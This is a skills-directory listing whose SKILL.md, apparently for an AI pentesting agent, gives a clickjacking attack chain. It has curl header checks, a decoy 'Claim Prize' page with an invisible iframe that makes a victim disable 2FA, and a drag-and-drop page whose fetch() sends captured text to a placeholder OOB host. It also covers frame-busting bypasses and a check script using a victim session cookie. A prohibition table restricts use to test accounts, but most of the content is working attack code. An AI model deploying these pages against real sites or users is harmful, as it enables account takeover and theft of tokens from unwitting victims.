Back to skills
SKILL.md
Khaos Chain Clickjacking
ASecurityClickjacking chain — X-Frame-Options/CSP frame-ancestors bypass, UI redressing to intercept clicks on sensitive actions, drag-and-drop text exfil, invisible iframe ATO
- 6 stars
- 0 votes
- 0 copies
- 0 views
- Added December 5, 2026
Works with
Security analysis
100/100Pro scans all 2 files and shows the line behind each finding
npx -y skills add henriqqw/Khaos-Pentester-Agent --skill khaos-chain-clickjacking --agent claude-codeAre you the author of Khaos Chain Clickjacking?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/henriqqw-khaos-chain-clickjacking-khaos-pentester-agent)---
name: khaos-chain-clickjacking
description: Clickjacking chain — X-Frame-Options/CSP frame-ancestors bypass, UI redressing to intercept clicks on sensitive actions, drag-and-drop text exfil, invisible iframe ATO
metadata:
khaos:
stages: [recon, exploitation, validation]
tool_ids: [httpx, nuclei-dast]
---
# Clickjacking → UI Redressing Chain
Clickjacking embeds the target site in a transparent iframe positioned over attacker-controlled UI. Victim clicks on the visible decoy but actually interacts with the hidden target. Impact: account takeover via one-click actions (disable 2FA, approve OAuth, change email), CSRF on state-changing endpoints that require a click, and drag-and-drop text exfiltration.
## Phase 1: Check frame embedding protection
```bash
TARGET="https://TARGET"
# Check X-Frame-Options (legacy):
curl -sk -I "$TARGET/" | grep -i "x-frame-options"
# DENY → not frameable
# SAMEORIGIN → only same-origin frames
# ALLOW-FROM → specific origin (deprecated; Chrome/Firefox ignore it)
# (missing) → frameable from any origin
# Check CSP frame-ancestors (modern, overrides X-Frame-Options):
curl -sk -I "$TARGET/" | grep -i "content-security-policy" | grep -i "frame-ancestors"
# frame-ancestors 'none' → not frameable
# frame-ancestors 'self' → same-origin only
# frame-ancestors https://example.com → allowlisted origin
# (missing) → no CSP frame protection
# Check sensitive sub-pages (login, settings, disable-2fa, approve-oauth):
for path in /login /settings /account/security /oauth/authorize /2fa/disable /api/confirm; do
result=$(curl -sk -I "$TARGET$path" | grep -iE "x-frame-options|frame-ancestors")
echo "$path: ${result:-[NO PROTECTION]}"
done
```
---
## Phase 2: Confirm frameability
```html
<!--
Basic framing test: embed target in an iframe.
If it loads → frameable → clickjacking viable.
Deploy to attacker-controlled host and load in browser.
-->
<!DOCTYPE html>
<html>
<body>
<iframe src="https://TARGET/settings"
style="width:800px;height:600px;border:1px solid red"
id="target_frame">
</iframe>
<script>
// Detect frame-busting JavaScript (target may try to break out):
var frame = document.getElementById("target_frame");
frame.addEventListener("load", function() {
try {
var loc = frame.contentWindow.location.href;
console.log("[FRAMEABLE] Loaded:", loc);
} catch(e) {
// Cross-origin → still frameable, just can't read location
console.log("[FRAMEABLE] Cross-origin frame loaded (expected)");
}
});
</script>
</body>
</html>
```
---
## Phase 3: One-click ATO — invisible iframe over attacker button
```html
<!DOCTYPE html>
<html>
<head>
<style>
body { font-family: Arial; }
/* Decoy button that victim sees: */
#decoy_btn {
position: absolute;
top: 200px;
left: 300px;
z-index: 2;
padding: 15px 30px;
font-size: 18px;
background: #4CAF50;
color: white;
cursor: pointer;
border: none;
border-radius: 5px;
}
/* Target iframe: transparent, positioned so "Confirm" button aligns with decoy: */
#target_frame {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0.00001; /* effectively invisible */
z-index: 3; /* above the decoy button */
pointer-events: all;
}
</style>
</head>
<body>
<h2>Congratulations! You won a prize!</h2>
<button id="decoy_btn">Claim Prize</button>
<!--
Target: https://TARGET/account/disable-2fa
Position the iframe so the "Confirm" button on the target page
overlaps exactly with our "Claim Prize" button.
Victim clicks "Claim Prize" → actually clicks "Confirm Disable 2FA"
-->
<iframe id="target_frame"
src="https://TARGET/account/disable-2fa"
scrolling="no">
</iframe>
<script>
// Fine-tune iframe position until "Confirm" aligns with "Claim Prize":
// Use browser DevTools to inspect the target's button coordinates.
document.getElementById("target_frame").style.top = "-180px";
document.getElementById("target_frame").style.left = "-250px";
</script>
</body>
</html>
```
---
## Phase 4: Drag-and-drop text exfiltration
```html
<!DOCTYPE html>
<html>
<head>
<style>
#drop_zone {
width: 400px; height: 100px;
border: 2px dashed #ccc;
padding: 10px;
margin-top: 20px;
font-size: 14px;
}
#target_frame {
position: absolute;
top: 10px; left: 10px;
width: 500px; height: 300px;
opacity: 0.00001;
z-index: 3;
}
</style>
</head>
<body>
<h3>Drag the highlighted text below to the drop zone:</h3>
<!-- Visible decoy: tells user to drag text -->
<div id="drop_zone" ondragover="event.preventDefault()"
ondrop="handleDrop(event)">
Drop here
</div>
<!-- Hidden target: contains sensitive text (CSRF token, session ID) -->
<iframe id="target_frame"
src="https://TARGET/account/settings">
</iframe>
<script>
var OOB = "https://OOB_HOST";
function handleDrop(e) {
e.preventDefault();
var data = e.dataTransfer.getData("text/plain") ||
e.dataTransfer.getData("text/html");
if (data) {
fetch(OOB + "/drag_exfil", {
method: "POST",
body: JSON.stringify({ exfil: data })
});
}
}
// When victim drags from the hidden iframe's text (CSRF token, etc.)
// to the drop zone, the browser transfers the text cross-origin via dataTransfer.
</script>
</body>
</html>
```
---
## Phase 5: Frame-busting bypass techniques
```javascript
// If the target uses frame-busting JS (top.location = self.location),
// bypass with sandbox attribute:
// <iframe sandbox="allow-forms allow-scripts" src="https://TARGET/">
// sandbox prevents the frame from navigating top → frame-busting fails
// If target checks parent != self:
// Use double-iframe: outer iframe (attacker domain) contains inner iframe (target)
// target sees parent != self → navigates parent → parent is attacker page → stays
// If target uses CSP frame-ancestors with specific allowlist:
// Look for wildcard subdomains: *.example.com
// Subdomain takeover → allowed origin → embed from claimed subdomain
// Bypass: sandbox attribute stops frame-busting
const bypass_html = `
<iframe sandbox="allow-forms allow-scripts allow-same-origin"
src="https://TARGET/sensitive-action"
style="opacity:0;position:absolute;z-index:999">
</iframe>
`;
console.log("Frame-busting bypass:", bypass_html);
```
---
## Phase 6: Confirm and document the click
```python
#!/usr/bin/env python3
"""
Verify that the clickjacking attack successfully triggers the target action.
Check the state change that the hidden click was intended to perform.
"""
import requests
TARGET = "https://TARGET"
TOKEN = "VICTIM_SESSION_TOKEN"
HEADERS = {"Cookie": f"session={TOKEN}"}
# Step 1: Check initial state (e.g., 2FA is enabled):
r = requests.get(f"{TARGET}/api/account/security", headers=HEADERS)
initial = r.json()
print("Before clickjacking:", initial.get("two_factor_enabled"))
# Step 2: (Simulate the click — in a real attack, victim does this via browser)
# The clickjacking page triggers: POST /account/disable-2fa (or GET with CSRF)
# Step 3: Check state after the click:
r = requests.get(f"{TARGET}/api/account/security", headers=HEADERS)
after = r.json()
print("After clickjacking:", after.get("two_factor_enabled"))
# If two_factor_enabled changed False → clickjacking confirmed
```
---
## ⛔ Prohibition table
| Prohibited | Alternative |
|---|---|
| Deploying clickjacking page on a live domain reachable by real users | Host on localhost or in-scope test environment only |
| Using opacity 0 iframe to trigger account changes on real victim accounts | Use a test account you control as the victim; confirm the action triggers |
| Drag-and-drop exfil targeting pages with real user data | Test with a test account; confirm the technique works, do not exfil real CSRF tokens |
| Combining with subdomain takeover to bypass frame-ancestors | Confirm scope covers both the target page and the subdomain before demonstrating |
## ✓ Completion self-check
- [ ] X-Frame-Options and CSP frame-ancestors checked on target page
- [ ] Target confirmed frameable in browser (iframe loads without redirect)
- [ ] Decoy page crafted: invisible iframe overlaps a sensitive action button
- [ ] Click intercept confirmed: target action triggered via clickjacking on test account
- [ ] Frame-busting bypass tested if applicable (sandbox attribute)
- [ ] Drag-and-drop exfil tested if page contains selectable sensitive text
- [ ] Finding: CWE-1021 (Improper Restriction of Rendered UI Layers) — MEDIUM/HIGH
Files in this skill
- SKILL.md
- scripts/clickjacking_probe.py
Attribution
Related skills
View all in ai-agents →Comments
Loading comments…
Newsletter
Get the weekly list of safe new skills, and the ones we pulled.